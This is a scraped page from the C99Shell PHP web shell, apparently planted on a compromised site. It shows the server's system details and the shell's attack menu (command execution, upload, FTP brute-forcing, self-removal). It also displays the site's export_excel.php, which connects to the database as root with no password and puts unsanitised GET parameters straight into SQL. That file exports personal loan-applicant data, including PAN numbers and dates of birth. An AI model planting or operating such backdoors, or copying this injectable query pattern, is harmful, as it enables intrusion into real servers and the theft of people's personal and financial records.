!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/home/www/jothidam.tv/admin/   drwxr-xr-x
Free 3294.05 GB of 8045.31 GB (40.94%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     export_excel.php (2.13 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
// Connect to the database
$conn = new mysqli('localhost','root','','loan');



if (
$conn->connect_error) {
    die(
"Connection failed: " $conn->connect_error);
}

// Get the date range from query string
$from_date = isset($_GET['from_date']) ? $_GET['from_date'] : '';
$to_date = isset($_GET['to_date']) ? $_GET['to_date'] : '';

// Build the SQL query with date filter if applicable
$sql "SELECT * FROM doctor_loan";
if (
$from_date && $to_date) {
    
$sql .= " WHERE created_at BETWEEN '$from_date' AND '$to_date'";
} elseif (
$from_date) {
    
$sql .= " WHERE created_at >= '$from_date'";
} elseif (
$to_date) {
    
$sql .= " WHERE created_at <= '$to_date'";
}

$result $conn->query($sql);

// Initialize an empty array to hold the records
$developer_records = [];

while (
$row $result->fetch_assoc()) {
    
$developer_records[] = $row;
}

$conn->close();

// Custom column names (exclude the "id" column)
$custom_column_names = [
    
"Full Name",
    
"Mobile",
    
"Email",
    
"Qualification",
    
"Work Experience",
    
"Residential Property",
    
"PAN Number",
    
"Pincode",
    
"Date of Birth",
    
"Medical Registration Year",
    
"Employment Type",
    
"Is Register Doctor",
    
"Loan Amount",
    
"City",
    
"Date",
    
// Add more custom column names as needed
];

// Export data if the form is submitted
$filename "doctors_loan_" date('Ymd') . ".xls";

// Set headers to prompt download
header("Content-Type: application/vnd.ms-excel");
header("Content-Disposition: attachment; filename=\"$filename\"");

$show_column false;

// Check if there are records to export
if (!empty($developer_records)) {
    foreach (
$developer_records as $index => $record) {
        
// Print custom column names as the first row (if not already printed)
        
if (!$show_column) {
            echo 
implode("\t"$custom_column_names) . "\n";
            
$show_column true;
        }

        
// Remove the "id" column from the record (if it exists)
        
unset($record['id']);

        
// Print row values
        
echo implode("\t"array_values($record)) . "\n";
    }
}

exit;
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0249 ]--